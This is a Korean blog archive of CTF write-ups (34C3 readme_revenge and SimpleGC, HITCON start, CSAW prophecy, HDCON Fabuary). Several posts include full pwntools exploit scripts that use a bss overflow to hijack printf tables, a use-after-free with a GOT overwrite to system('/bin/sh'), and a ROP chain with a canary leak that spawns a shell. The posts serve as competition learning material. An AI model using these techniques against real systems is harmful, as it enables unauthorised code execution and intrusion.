2018. 1. 22. 23:47

## 34C3 CTF_2017(readme_revenge, pwn)


[Summary]

1. printf()함수의 소스코드를 보고 동작 방식을 간략하게 이해해야 한다.

2. __parse_one_specmb() 소스코드를 보고 일반적이지 않은 루틴이 실행되도록 조작해야한다.

3. libc_argv가 조작 가능할 때 이를 이용하는 함수를 찾아본다.

=> __fortify_fails()함수, malloc_printerr()함수, do_dlopen()함수 etc..

4. overflow 시켜 libc_argv, __printf_function_table, __printf_modifier_table, 

__printf_arginfo_table을 조작해 eip를 control 하고 위 함수를 이용해 메모리에 있는 flag를 

출력시킨다.


[Analysys]

 우선 문제를 받아보면 static compile되어 있는 것을 확인할 수 있고, IDA를 통해 디컴파일 해보면

아래 [그림 1]과 같이 정말 간단한 바이너리라는 것을 알 수 있다.


[그림 1] 바이너리 디컴파일(with IDA)


 간단하지만 분석을 해보면 scanf()함수를 이용하여 name이라는 변수에 사용자 입력을 받고 있지

만, 길이 값을 체크하지 않아 오버플로우 취약점이 존재한다. 그리고 입력 받은 값을 printf()함수를 

통해, "Hi, %s. Bye.\n"를 출력한다.


 일단 취약점이 어디서 나타나는지 알고 있으므로, name변수를 살펴보았다.


[그림 2] name


 [그림 2]와 같이 사용자 입력 값이 저장될 name 변수는 bss영역에 존재하고, static compile된 

바이너리기 때문에 library에서 사용하는 각종 variable들도 함께 저장되어 있었다. 그 말은

우리는 name 뒤의 영역에서 library에서 사용하는 변수들을  조작할 수 있다는 말이다. 우선 

조작할 만한 변수를 찾는 것이 중요한데, 나의 경우 일단 crash가 날때 까지 사용자 입력 값을 

넣어보았다. 그랬더니 아래 [그림 3]과 같이 "A"가 1609개 입력되면 크래시가 터졌다.


[그림 3] Crash!


 우선 library에서 사용하는 변수를 의미없는 "A"로 덮어씌우다가 다른 의미없는 것들은 프로그램 

동작에 아무 문제 없었지만 1609번째 덮어씌운 변수에서 문제가 생긴 것이다. 우선 gdb로 확인하

면, __parse_one_specmb()함수에서 Crash가 난 것을 알 수 있고, IDA로 동적 디버깅을 한 결과 

아래 [그림 4]와 같이 "A"가 __printf_function_table변수까지 덮어씌워주는 것을 알 수 있었다. 

그리고 실질적으로 [그림 5]와 같이 __printf_arginfo_table의 값 때문에 crash가 나는 것을 알 수 

있다.


[그림 4] "A"*1609 overflow


[그림 5] crash!


 [그림 5]를 보면 __printf_arginfo_table에서 값을 rcx로 가져와 "mov rax, [rcx+rdx*8]"를 실행하

면서 crash가 나는데 분석해보면 rcx가 0이고, rdx가 0x73이기 때문에 0x398 주소에 접근하면서

segment fault가 나게 된다.


 이제 조작해야할 중요한 변수가 __printf_arginfo_table, __printf_function_table인 것을 알았는데, 

뭘해야할지 몰라서 printf()함수의 소스코드를 살짝 보았다. 우선 위 crash가 터지는 함수인 

__parse_one_specmb()함수의 소스코드를 보면 아래 [코드 1]과 같은 부분을 볼 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...
 
  /* Get the format specification.  */
  spec->info.spec = (wchar_t*format++;
  spec->size = -1;
  if (__builtin_expect (__printf_function_table == NULL1)
      || spec->info.spec > UCHAR_MAX
      || __printf_arginfo_table[spec->info.spec] == NULL
      /* We don't try to get the types for all arguments if the format
         uses more than one.  The normal case is covered though.  If
         the call returns -1 we continue with the normal specifiers.  */
      || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
                                   (&spec->info, 1&spec->data_arg_type,
                                    &spec->size)) < 0)
    {
 
...
 
// ref) https://code.woboq.org/userspace/glibc/stdio-common/printf-parsemb.c.html#49format
cs

[코드 1] __parse_one_specmb() 함수 중 line 307-319 부분

 

 이제 여기서 중요한 것이 있다. 우선 [코드 1]에서 if문안에서 4개의 조건을 OR연산자로 

묶어 놨다. 그런데 여기 4번째 조건을 잘 보면 함수포인터를 이용하여 함수를 실행한다. 

이 때의 함수포인터는 우리가 조작할 수 있었던 __printf_arginfo_table을 참조한다!! 

그렇다면 EIP를 컨트롤 할 수 있다는 말이 된다. 이제 이 조건을 트리거하기만 하면 된다. 


 그런데 if문이 OR연산자로 묶여있을 때 첫 번째 조건이 true이면 뒤의 조건문을 실행하지 않는다.

따라서 앞의 조건들을 false로 맞춰 주어야 한다.


 첫 번째 조건은"__builtin_expect(__printf_function_table == NULL, 1)"인데, __builtin_expect는

gcc에서 사용할 수 있는 키워드이며, 결과가 거의 확실할 때 컴파일러에게 알려주고 fetch과정에서

CPU가 좀더 효율적으로 동작하도록 하는 것이다. 결국 대부분 "__printf_function_table == NULL"

조건은 대부분 참이 되는 것으로 코드가 짜여져 있다. 우선 이 조건을 거짓으로 만들어야 하는데 

우리는 이미 __printf_function_table을 조작하였다.


 나머지 조건도 false로 만들어 주고 4번째 조건의 함수포인터를 활용해 EIP를 컨트롤 하면 된다.

일단 [그림 5]의 assembly에서 보면 위 소스코드의 첫 번째 조건을 확인하고 바로 세 번째 조건을

확인하는 듯하여 __printf_function_table과 __printf_arginfo_table을 의미없는 값으로 덮어씌웠다.

그랬더니 아래 [그림 6]과 같은 부분에서 crash가 났다. __printf_function_table과 

__printf_arginfo_table사이에 __printf_modifier_table이라는 변수가 있는데, 이 값이 NULL이 

아니면 Crash가 나서 취약점이 발생하는 부분까지 가지 않는 것이었다.


[그림 6] __printf_modifier_table이 NULL이 아닐 경우 Crash!


 그래서 __printf_modifier_table은 0으로 맞춰주고, __printf_arginfo_table을 덮어씌워 주었는데

이 때 주의해야할 점은 처음 "mov rax, [rcx+rdx*8]" 에서 crash가 났을 때 rcx값이 0이어서 

0x398메모리 주소에 접근하면서 seg fault가 난 것이므로 이 값은 접근 가능한 메모리 주소가 

되어야 하며 rdx는 항상 0x73이었다. 이를 바탕으로 아래 [그림 7]을 보면 __printf_arginfo_table

"mov rax, [rcx+rdx*8]"가 실행되고 "call rax"가 실행되어 eip를 컨트롤 할 수 있다.


[그림 7] call rax => RIP control!


 이제 RIP까지 컨트롤 할 수 있다. 거의 다했는데 flag를 출력해야 한다. 일단 이것을 하기 위해서는 

4가지 사실을 알아야 한다. 첫째, flag가 메모리 상(0x6b4040)에 존재한다. 둘째, overflow를 통해

__lib_argv를 조작할 수 있다. 셋째, __lib_argv를 사용하는 library error 메시지를 출력하는 함수가

존재한다.(ex. __fortify_fails 등등) 넷째, __lib_argv는 2중 포인터이다.


 그럼 이제 __lib_argv는 flag의 주소가 저장되어 있는 주소로 조작하고, __printf_function_table은

NULL이 아닌 값, __printf_modifier_table은 NULL 값, __printf_arginfo_table은 컨트롤 되기 원하는

주소-0x398으로 조작하여 RIP를 __fortify_fails()함수를 호출하면 아래 [그림 8]과 같이 플래그를

획득할 수 있다.


[그림 8] Get flag!


[Exploit Code]  - readmerevenge_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
#import hexdump
 
context(arch='amd64',os='linux')
local=True
#local=False
 
if local:
    #local_libc = ELF("./libc-2.26.so")
    #p = process("./sgc", env={'LD_PRELOAD':local_libc.path})
    p = process("./readme_revenge")
else:
    #remote_libc = ELF("./libc.so.6")
    p = remote("1.1.1.1"1234)
 
binary = ELF("./readme_revenge")
libc = binary.libc
 
raw_input()
 
bss_name = 0x6b73e0
libc_argv = 0x6b7980
printf_function_table = 0x6b7a28
printf_arginfo_table = 0x6b7aa8
fortify_fail = 0x4359d0
flag_addr = 0x6b4040
 
if __name__ == '__main__':
    
    payload = p64(flag_addr) + "A"*(libc_argv - (bss_name+8))
    payload += p64(bss_name)
    payload    += "A"*(printf_function_table - (libc_argv+8)) + p64(fortify_fail)   # printf_function_table != NULL
    payload += p64(0x0)                                                             # printf_modifier_table = 0x0
    payload += "B"*(printf_arginfo_table - (printf_function_table+8+8))
    payload += p64(printf_function_table - 0x398)
    p.send(payload + '\n')
 
    p.interactive()
cs


끝~!

'CTF writeup' 카테고리의 다른 글

[34C3 CTF_2017] SimpleGC(pwnable)  (0) 2018.01.07
[HITCON CTF_2017] start(pwnable)  (0) 2017.11.22
[CSAW CTF_2017] prophecy(reversing)  (0) 2017.09.21
[HDCON_2017] Fabuary(reversing)  (0) 2017.09.21
[ASIS CTF_2017] mrs. hudson(pwnable)  (0) 2017.09.13
Posted by holinder4S
2018. 1. 7. 17:56

## 34C3 CTF_2017(simpleGC, pwn)


[Summary]

1. C로 Garbage Collection을 구현한 프로그램에서 UAF취약점을 이용하는 문제이다.

2. user Add를 하는 과정에서 group을 변경해도 group의 reference Count가 줄어들지 않는다.

=> 이를 이용하여 byte형 refcount를 0x00으로 만든 후

=> Garbage Collection 스레드에 의해 free된다.

3. user3의 구조체와 과 user1의 group_name 구조체가 공유되도록 만든다.

=> group_name에 strlen got로 변조하면 

=> user3의 group_name_ptr이 strlen got로 변하게 되고

=> leak과 got overwrite가 가능해짐

4. 원래는 libc 2.26버젼에 새롭게 추가된 t-cache를 우회해야 리모트 exploit이 가능.

=> 관련 내용은 차후 추가 예정..


[Exploit Code]  - sgc_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
#import hexdump
 
context(arch='amd64',os='linux')
local=True
#local=False
 
if local:
    #local_libc = ELF("./libc-2.26.so")
    #p = process("./sgc", env={'LD_PRELOAD':local_libc.path})
    p = process("./sgc")
else:
    #remote_libc = ELF("./libc.so.6")
    p = remote("35.198.176.224"1337)
 
binary = ELF("./sgc")
libc = binary.libc
 
raw_input()
 
def print_menu():
    print p.recvuntil("Action: ")
 
def add_user(user_name, group_name, age):
    print_menu()
    p.send('0\n')
    print p.recvuntil("name: ")
    p.send(user_name+'\n')
    print p.recvuntil("group: ")
    p.send(group_name+'\n')
    print p.recvuntil("age: ")
    p.send(str(age)+'\n')
 
def display_user(user_idx):
    print_menu()
    p.send('2\n')
    print p.recvuntil("index: ")
    p.send(str(user_idx)+'\n')
    response = p.recvuntil("0: Add a user")
    return response
 
def edit_group(user_idx, prop, group_name):
    print_menu()
    p.send('3\n')
    print p.recvuntil("index: ")
    p.send(str(user_idx)+'\n')
    print p.recvuntil("group(y/n): ")
    p.send(prop+'\n')
    print p.recvuntil("name: ")
    p.send(group_name+'\n')
 
def delete_user(user_idx):
    print_menu()
    p.send('4\n')
    print p.recvuntil("index: ")
    p.send(str(user_idx)+'\n')
 
if __name__ == '__main__':
    
    ##############################################
    # Stage 1 : overflow group's reference count #
    ##############################################
    for i in xrange(255):
        add_user("AAAA""groupA"10)
        edit_group(0"n""groupC")
        delete_user(0)
    
    add_user("B"*31"groupB"20)
    add_user("A"*31"groupA"20)    # overflow refCnt & user link groupA(freed by GC => free group, group_name_ptr)
    
    ####################################
    # Stage 2 : Trigger UAF & got leak #
    ####################################
    add_user("B"*31"groupB"20)    # group_name_ptr
    add_user("B"*31"groupB"20)    # group
    
    strlen_got = binary.got['strlen']
    edit_group(1"y", p64(20)+p64(strlen_got)+p64(strlen_got))
    response = display_user(3)
    
    strlen_addr = u64(response[response.find("Name: ")+6:response.find("Name: ")+12+ "\x00\x00")
    libc_base = strlen_addr - libc.symbols['strlen']
    system_addr = libc_base + libc.symbols['system']
 
    print "[+] libc base addr : " + hex(libc_base)
    print "[+] system addr : " + hex(system_addr)
    
    #############################################
    # Stage 3-1 : Overwrite got(strlen->system) #
    # Stage 3-2 : make system("/bin/sh")        #
    #############################################
    edit_group(3"y", p64(system_addr))
    add_user("/bin/sh""groupD"20)
    
    p.interactive()
 
cs


[Reference]

1. https://github.com/epadctf/34c3/blob/master/SimpleGC/win.py

2. https://github.com/bkth/34c3ctf/tree/master/SimpleGC

2. http://tukan.farm/2017/07/08/tcache/

'CTF writeup' 카테고리의 다른 글

[34C3 CTF_2017] readme_revenge(pwnable)  (0) 2018.01.22
[HITCON CTF_2017] start(pwnable)  (0) 2017.11.22
[CSAW CTF_2017] prophecy(reversing)  (0) 2017.09.21
[HDCON_2017] Fabuary(reversing)  (0) 2017.09.21
[ASIS CTF_2017] mrs. hudson(pwnable)  (0) 2017.09.13
Posted by holinder4S
2017. 11. 22. 00:24

## HITCON CTF_2017(start, pwn)


[Summary]

1. python 모듈인 pwntool과 같은 역할을 하는 ruby모듈 pwntool을 사용하는 문제

=> https://github.com/peter50216/pwntools-ruby

2. server.rb가 실행되는데 eval()함수로 루비 코드를 실행시킨다.

3. start 바이너리는 간단한 bof 취약점이 있고, static compile되어 있다.

=> syscall을 이용한 rop를 하면 된다.

4. canary가 있으므로 0x18바이트만큼 덮어 씌우고 출력하면 canary leak 가능.


[Exploit Code]  - start_exploit.rb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# encoding: ASCII-8BIT
# The encoding line is important most time, or you'll get "\u0000" when using "\x00" in code,
# which is NOT what we want when doing pwn...
require 'pwn'
 
context.arch = 'amd64'
#context.log_level = :debug
= Sock.new 'localhost'31337
 
bss = 0x6cdb80
syscall_gadget = 0x468e75
pop_raxrdxrbx = 0x47a6e6
pop_rsi = 0x4017f7
pop_rdi = 0x4005d5
 
canary_leak_payload = 'A'*(0x19)
 
# Stage 1 : canary leak
z.send canary_leak_payload
z.recv 0x18
canary = u64(z.recv 0x8- 0x41
log.info "[+] canary : #{canary.hex}"
 
# Stage 2 : read(0, bss, 8) & execve(bss, 0x0, 0x0) => bss:"/bin/sh"
rop_payload = 'A'*0x18 + p64(canary) + "ebppebpp"
rop_payload += p64(pop_rdi) + p64(0x0+ p64(pop_rsi) + p64(bss)
rop_payload += p64(pop_raxrdxrbx) + p64(0x0+ p64(0x8+ p64(0x0)
rop_payload += p64(syscall_gadget)
 
rop_payload += p64(pop_rdi) + p64(bss)
rop_payload += p64(pop_rsi) + p64(0x0)
rop_payload += p64(pop_raxrdxrbx) + p64(59+ p64(0x0+ p64(0x0)
rop_payload += p64(syscall_gadget)
 
z.send rop_payload
z.send "exit" + "\x0a"
z.send "/bin/sh"+"\x00"
 
# Switch to interactive mode
z.interact
 
cs


'CTF writeup' 카테고리의 다른 글

[34C3 CTF_2017] readme_revenge(pwnable)  (0) 2018.01.22
[34C3 CTF_2017] SimpleGC(pwnable)  (0) 2018.01.07
[CSAW CTF_2017] prophecy(reversing)  (0) 2017.09.21
[HDCON_2017] Fabuary(reversing)  (0) 2017.09.21
[ASIS CTF_2017] mrs. hudson(pwnable)  (0) 2017.09.13
Posted by holinder4S
2017. 9. 21. 04:50

## CSAW CTF_2017(prophecy, rev)


[Summary]

1. LLVM으로 난독화된 문제이다.

2. 베이직 블록만 잘찾고 브포걸고 실행하면 된다.

3. 그래프 모드로 봤을 때 젤 아래에 있던 블럭들의 첫 번째만 브포걸고 실행하고

4. 베이직 블락이라고 생각되는 곳에서 디컴파일하면서 분석하면 된다.

5. 페이로드 중간에 비교하지 않는 부분은 \x00을 넣어서 뒤에 페이로드가 깨지지 않게 한다.


[Analysis] 

 이 문제는 간단하게 요약하면 LLVM으로 난독화되어 있는 아주 간단한 프로그램이다. 프로그램을 실행하여

전반적인 프로그램 흐름을 설명하면 우선 아래 [그림 1]과 같이 실행된다.


[그림 1] 프로그램 실행


 위 그림을 보면 secret name을 받고 unlock할 key를 입력받는데 아무거나 입력했더니 그냥 

프로그램이 종료가 된다. 그래서 IDA로 까보았다. 처음에는 LLVM 난독화는 리버싱해본적이 전혀 없어서 

그냥 진자 IDA로 동적디버깅 F10계속 눌러가면서 내가 이해할 수 있는 코드 나오면 분석하고 다시 반복하는

형태로 진행했다. 그런데 이렇게 하다보니 정말 답도 없을거 같아서 LLVM 관련된 롸업을 쭉보다보니까 

어떤 변수에 값을 집어넣고 계속 상태변화하는 것으로 다음 베이직 블럭을 가리킨다는 것을 알게되었고

그것을 알고나니까 쓸데없는건 다 생략하고 필요한 부분만 브포를 걸면 되겠구나라고 생각이 되었다.


 우선 디컴파일을 한 소스코드를 보면 아래 [그림 2]와 같다.


[그림 2] 디컴파일 소스


[그림 2]를 보면 알겠지만 뭔가 의미 있는 코드 같으면서도 위에 if문 같은곳에서 v534랑 비교하고 점프하고 

이런 루틴이 굉장히 많다. 진짜로 시간이 넘쳐나면 그냥 이런곳에다가 하나하나 다 브포 걸고 차례대로

F10만 연타하면 언젠가는 풀릴거지만 대회니까 좀 빠른 방법을 생각하던 도중 아래 [그림 3]의  그래프 뷰를 

보게 되었다.



[그림 3] IDA 그래프 뷰


 뭔가 젤 아래만 보면 전체 프로그램을 다 보는 것 같았다. 그래서 젤 아래 블럭들만 전부 브포를 걸었다.

그리고 IDA로 동적디버깅을 하니까 전부 basic블락은 아니었지만 대부분이 의미있는 코드 부분이었고 이제

이걸 기반으로 하나하나 분석해보도록 하겠다.


 우선 첫 번재 루틴인 secret name을 입력받는 루틴은 [그림 4]와 같다.


[그림 4] 첫 번째 Basic Block



 위 [그림 4]의 코드를 분석해보면 그냥 간단하게 출력할 것 출력하고 read()함수로 secret name을 입력 받는다.


이제 두 번재 루틴을 보면 아래 [그림 5]와 같다.



[그림 5] 두 번재 Basic Block



 여기서는 secret name으로 입력 받은 것의 길이를 구한 후 -1부분에 \x00을 넣는다. 


 이제 세 번째 루틴을 보면 아래 [그림 6]과 같다.



[그림 6] 세 번째 Basic Block



 여기서는 unlock할 key값을 입력하라고 하고 실제로 read()함수로 사용자 입력을 받는다. 그게 다다.


그럼 이제 네 번째 루틴을 볼 차례다. 아래 [그림 7]을 보자.



[그림 7] 네 번째 Basic Block



 여기서는 unlock_key 값의 길이를 구한 다음 \x00을 마지막에 집어넣는다. [그림 5]와 비슷한 행위를 한다.

여기서 이 부분은 나중에 꽤 중요해지는데 이걸 제대로 몰랐다가 나중에 삽질을 엄청나게 했다.


 이제 다섯 번째 루틴을 볼 텐데 코드는 아래 [그림 8]과 같다.



[그림 8] 다섯 번째 Basic Block



 여기서는 secret name에 ".starcraft"라는 문자열이 있는지 검증하는 루틴이다. 여기서 만약

".starcraft"라는 문자열이 포함되어 있지 않으면 그냥 종료된다.(v33 != 0에서 확인)


 이제 여섯 번째 루틴을 볼텐데 코드는 아래 [그림 9]와 같다.


[그림 9] 여섯 번째 Basic Block



여기서는 그냥 "[*] Interprting the secret...."이라는 문자열을 출력하고 끝이다.


일곱 번째 루틴을 보자. 코드는 아래 [그림 10]과 같다.


[그림 10] 일곱 번째 Basic Block



여기서는 그냥 /tmp경로를 얻어와서 "/tmp/" + [secret name]을 파일로 하나 만든 다음 key값을 그 파일에다가

쓰는 역할을 수행한다. 그리고 그 파일을 읽어들여와서 file handle을 저장하고 있다.


여덟 번째 루틴을 보자. 코드는 아래 [그림 11]과 같다.



[그림 11] 여덟 번째 Basic Block



여기서는 keyfile을 읽어들여와서 4바이트만큼 읽어들이고 0x17202508과 비교를 하는데 아마

의미적으로 생각하자면 20170825와 비교를 하는 것같다.(년월일)

여기서 비교 검증에 실패하면 프로그램은 또 종료되므로 key 값은 첫 4바이트는 "\x08\x25\x20\x17"

이어야 한다.


아홉 번재 루틴을 보자. 코드는 아래 [그림 12]와 같다.



[그림 12] 아홉 번째 Basic Block



여기서는 또 다시 키 파일에서 8바이트를 읽어들여와 저장하고 또 1바이트를 읽어들여와 저장한다.

이번 루틴에서는 비교하는 루틴은 없으므로 나중에 이를 다른 Basic Block에서 비교할 것이라고 

생각할 수 있다. 우선은 8바이트 1바이트를 읽어들였다는 것만 기억하면 된다.


열 번째 루틴을 보자. 코드는 아래 [그림 13]과 같다.



[그림 13] 열 변째 Basic Block



 여기서는 아까 [그림 12]에서 1바이트 읽어들여온 키값이랑 79라는 숫자랑 비교를 한다. 

키값 비교가 있는 것이다. 여기서는 2가지 경우가 있는데 나는 79보다 작으면 왠지 프로그램 종료할 것 같았고 

예상이 맞았다. 따라서 비교를 할때 79이상이어야 한다.


열한 번째 루틴을 보자. 코드는 아래 [그림 14]와 같다.



[그림 14] 열한 번째 Basic Block



 여기서는 아까 [그림 13]에서 비교한 키 값과 이제 90과 비교를 한다. 아마 키 값의 조건은 

79이상 90미만 이어야 하는 것 같다.


 열두 번째 루틴을 보자. 코드는 아래 [그림 15]와 같다.



[그림 15] 열두 번째 Basic Block



 여기서는 [그림 13, 14]에서 비교한 키 값이랑 또비교를 한다. 그런데 이번엔 부등호가 아니라

equal로 비교를 한다. 아마 키 값의 조건은 79(0x4f, 'O')인 것 같다. 따라서 두 번재로 비교하는 키 값은 

0x4F이어야 한다.


열세 번째 루틴을 보자. 코드는 아래 [그림 16]과 같다.



[그림 16] 열세 번째 Basic Block



 여기서는 그냥 이상한 문구를 출력하고 끝낸다. 아마 키 값 검증을 성공해서 다음 스테이지로 넘어가는 것 같다.


열네 번째 루틴을 보자. 코드는 아래 [그림 17]과 같다.



[그림 17] 열네 번째 Basic Block



 여기서는 또 다시 키 파일에서 키 값을 1바이트 읽어들여온다. 아마 또 키검증을 하는 루틴이 있을 것 같다.


열다섯 번째 루틴을 보자. 코드는 아래 [그림 18]과 같다.



[그림 18] 열다섯 번째 Basic Block



 여기서는 [그림 17]에서 읽어온 key값이랑 2랑 비교를 한다. 아마 아까와 비슷하게 2이상이어야 하는 

조건인거 같다고 생각을 하면 된다.(물론 2가지경우가 있으므로 둘다 해봐야 한다.)


열여섯 번째 루틴을 보자. 코드는 아래 [그림 19]와 같다.



[그림 19] 열여섯 번째 Basic Block



 여기서는 아까 그 키값과 3이랑 비교를 한다. 아마 2<= key <3이 이번 검증의 조건인 듯하다. 

이 조건에 만족하는 건 2밖에 없으므로 세번째로 검증하는 key값의 조건은 0x02이다.


열일곱 번째 루틴을 보자. 코드는 아래 [그림 20]과 같다.



[그림 20] 열일곱 번째 Basic Block



 여기서는 [그림 16]과 비슷하게 이상한 문구를 출력하는 역할만 한다. 아마 아까와 마찬가지로

키 값 검증이 끝났으니 다음 스테이지로 넘어간다는 뜻으로 이해하면 된다.


열여덟 번째 루틴을 보자. 코드는 아래 [그림 21]과 같다.



[그림 21] 열여덟 번째 Basic Block



여기서는 키 파일에서 4바이트만큼 key값을 읽어들여와서 813라인에서 0xE4EA93과 비교를 한다.

아마 네번째로 비교하는 키 값의 조건은 0xE4EA93인 것 같다.


열아홉 번째 루틴을 보자. 코드는 아래 [그림 22]와 같다.



[그림 22] 열아홉 번째 Basic Block



여기서는 여태까지의 키 값 검증이 끝난 후와 마찬가지로 이상한 문구를 출력하고 끝난다.


스물 번째 루틴을 보자. 코드는 아래 [그림 23]과 같다.



[그림 23] 스물 번째 Basic Block



여기서는 또 키 파일에서 7바이트만큼 읽어들여와 그 키 값과 0x4C55544152455A와 비교 검증을 한다.

아마 다섯 번째로 비교하는 key값의 조건은 "\x5A\x45\x52\x41\x54\x55\x4C"인 것 같다.


스물한 번째 루틴을 보자. 코드는 아래 [그림 24]와 같다.



[그림 24] 스물한 번째 Basic Block



 후.. 끝이었다고 생각했는데 끝이 아니어따... F9누르면서 그냥 디버깅하면 빠르게 하니까 걱정하지 않아도된다...

여기서도 그냥 이상한 문구를 출력하고 끝이다.


스물두 번째 루틴을 보자. 코드는 아래 [그림 25]와 같다.



[그림 25] 스물두 번째 Basic Block



후.. 마지막 키값 검증이라고 생각하면서 침착하게 보면 fread()로 키 파일에서 6바이트만큼

키값을 읽어들여와 0x444556415300과 비교한다. 여섯 번째 키 값의조건은 "\x00\x53\x41\x56\x45\x44"이다.


스물세 번째 루틴을 보자. 코드는 아래 [그림 26]과 같다.



[그림 26] 스물세 번째 Basic Block



ㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎ.... 끝이 아니었다. 키 값 검증이 아직 더 남았나보다.


스물네 번째 루틴을 보자. 코드는 아래 [그림 27]과 같다.



[그림 27] 스물네 번째 Basic Block



 여기서 또 키 값 검증을 하는데 키 파일에서 4바이트만큼 읽어들여와서 0x4C4C4100과 비교를한다.

7번째 키값의 조건의 "\x00\x41\x4c\x4c"이다.


스물다섯 번째 루틴을 보자. 코드는 아래 [그림 28]과 같다.



[그림 28] 스물다섯 번째 Basic Block



ㅇㅇ. ㅇㅋ? ㅇㅋㅇㅋ. ㅇㅇㅇ. ㄱㄱ


스물여섯 번째 루틴을 보자. 코드는 아래 [그림 29]와 같다.



[그림 29] 스물여섯 번째 루틴



오오오오오오오오오오오오민ㅇ롬ㄴ아ㅓ로마더로미ㅏㅈㄷ로!!!!!!!!!

드디어.. 

system("cat flag");가 눈에 보였다!


이제 여기까지 분석한 걸 정리하면 아래 [그림 30]과 같다.



[그림 30] key 값 조건



????????는 8바이트고 검증을 안한다.

이제 이렇게 페이로드를 파이썬 코드를 짜서 보내면 되는데 여기서 나는 문제가 생겼었다. [그림 7]의 설명 중에

삽질을 했다라는 빨간 줄이 있는데 키 값을 읽어들여서 마지막 바이트에 "\x00"을 넣는데 이게 

"\x08\x25\x20\x17" + "AAAAAAAA" + "\x4F" + "\x02" + "\x93\xEA\xE4\x00" + "\x5A~~~" + ~~

이렇게 페이로드를 보내면 100% 실패한다. 


 왜냐하면 strlen(key)-1부분에 "\x00"을 넣기 때문에 "\xE4"부분에 "\x00"이 채워져서 페이로드가 망가진다.

그러면 어떻게 해야하냐면 ????????부분에 그냥 중간에 "\x00"을 넣어주면 된다. 그럼 strlen()-1을 해도 

????????부분에 "\x00"이 들어가고 ????????부분은 검증을 안하므로 페이로드도 안깨지고 정상적으로

플래그를 얻을 수 있다.


근데 이 글 적다보니 사망 플래그 각이나온다...

긴 글 읽어주셔서 감사합니다. ㅠㅠ



 [Exploit Code] - prophecy_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
#import hexdump
 
context(arch='i386',os='linux')
#local=True
local=False
 
if local:
    p = process("./prophecy")
else:
    p = remote("reversing.chal.csaw.io"7668)
 
binary = ELF("./prophecy"
raw_input()
 
if __name__ == "__main__":
 
    print p.recvuntil(">>")
    p.send("asdfasdf.starcraft\n")
 
    key = "\x08\x25\x20\x17" + "AAAA" + "\x00"*4 + "\x4f" + "\x02" + "\x93\xea\xe4\x00" + "\x5a\x45\x52\x41\x54\x55\x4c" + "\x00\x53\x41\x56\x45\x44" + "\x00\x41\x4c\x4c"
    print p.recvuntil(">>")
    p.send(key+'\n')
 
    p.interactive()
 
cs


[Get Flag~~!!!!]


[그림 31] flag



끝~!!!!



'CTF writeup' 카테고리의 다른 글

[34C3 CTF_2017] SimpleGC(pwnable)  (0) 2018.01.07
[HITCON CTF_2017] start(pwnable)  (0) 2017.11.22
[HDCON_2017] Fabuary(reversing)  (0) 2017.09.21
[ASIS CTF_2017] mrs. hudson(pwnable)  (0) 2017.09.13
[Tokyo Westerns CTF_2017] swap(pwnable)  (0) 2017.09.13
Posted by holinder4S
2017. 9. 21. 03:13

## HDCON_2017(Fabuary, rev)


[Summary]

1. Android APK 리버싱 & native library 리버싱 문제이다.

2. 가위바위보를 하는 어플리케이션이 있는데 17916점을 넘기면 이기는 어플이다.

3. 한번 이길 때마다 1점씩오르며 각 가위,바위,보를 34999번이상 시도할 수 없다.(수동 방지인듯..)

4. rpc_calc()함수에서 score가 17916점을 넘기면 하드코딩된 값과 xor연산을 하여 키값을 생성해냄.

5. CallMe에서 해당 키값을 이용하여 하드코딩된 encrypt된 flag를 ck()를 호출하여 decrypt함.


[Analysis] 

 이 문제는 간단하게 요약하면 가위바위보를 하는 어플리케이션이 있는데 이기면 Score가 1점 올라가는 시스템이다. 

해당 어플리케이션은 아래 [그림 1]과 같다.



[그림 1] HDcon 어플리케이션 UI



 이제 이 apk를 jadx로 분석해보면 크게 2개의 중요한 루틴이 있다. 첫 번째는 가위, 바위, 보 버튼을 눌렀을 때 동작하는 

ClickListener인데 코드는 아래 [그림 2]와 같다. 



[그림 2] Paper button ClickListener 코드


 위 [그림 2]에 나온 코드는 보를 클릭했을 때의 동작을 나타내는 코드인데 나머지도 코드가 비슷하므로 이것만 

분석하면 된다.

 우선 qq라는 변수에 시스템이 랜덤으로 생성해 낸 가위, 바위, 보 중 하나를 넣고 '보'를 의미하는 3을 첫번째 인자로

qq를 2번째 인자로 rps_calc라는 함수를 호출하는데 이는 native library에 있으므로 해당 라이브러리를 IDA로

분석해야한다. 일단은 코드를 쭉 보면 rps_calc()함수의 리턴 값을 setText()로 어플리케이션에 출력하는데 

2017일 경우는 특별한 동작을 한다. "mm"에다가 rps_calc()함수의 리턴 값을 넣고 send broadcast를 한다.


 대충 딱 봐도 이게 문제를 풀었을 때 동작하는 루틴이겠구나라고 알 수 있는 부분이다.

이제 그럼 rps_calc()를 분석해보도록 하겠다. IDA로 library를 열어서 rps_calc()함수를 들여다보면 아래 [그림 3]

과 같다.



[그림 3] rps_calc() 함수 디컴파일


 다른 부분은 볼필요가 거의 없다. 그냥 이겼을 때 "You Win"을 출력하고 졌을 때 "You Lose"를 출력하고 뭔가 이상한 

걸 탐지하면 이상하다고 출력하는 부분이다. [그림 3]의 코드를 보면 score > 17916인 분기문을 볼 수 있는데 딱봐도

score가 17916이상이면 뭔가를 하고 아까 분석했던 것처럼 2017이 들어있는 문자열이 나오겠구나 생각할 수 있다.

 그럼 그안에를 보면 하드코딩된 값과 0x58을 xor하는 것을 볼 수 있는데 이걸 그냥 직접 해보면 "HD-C-O-N-2-0-1-7"

이 나온다. 이제 이걸로 아까 [그림 2]에서 분석했던 걸 참조하면 mm변수에 해당 키값을 넣고 send한다는 것을 

알 수 있다.


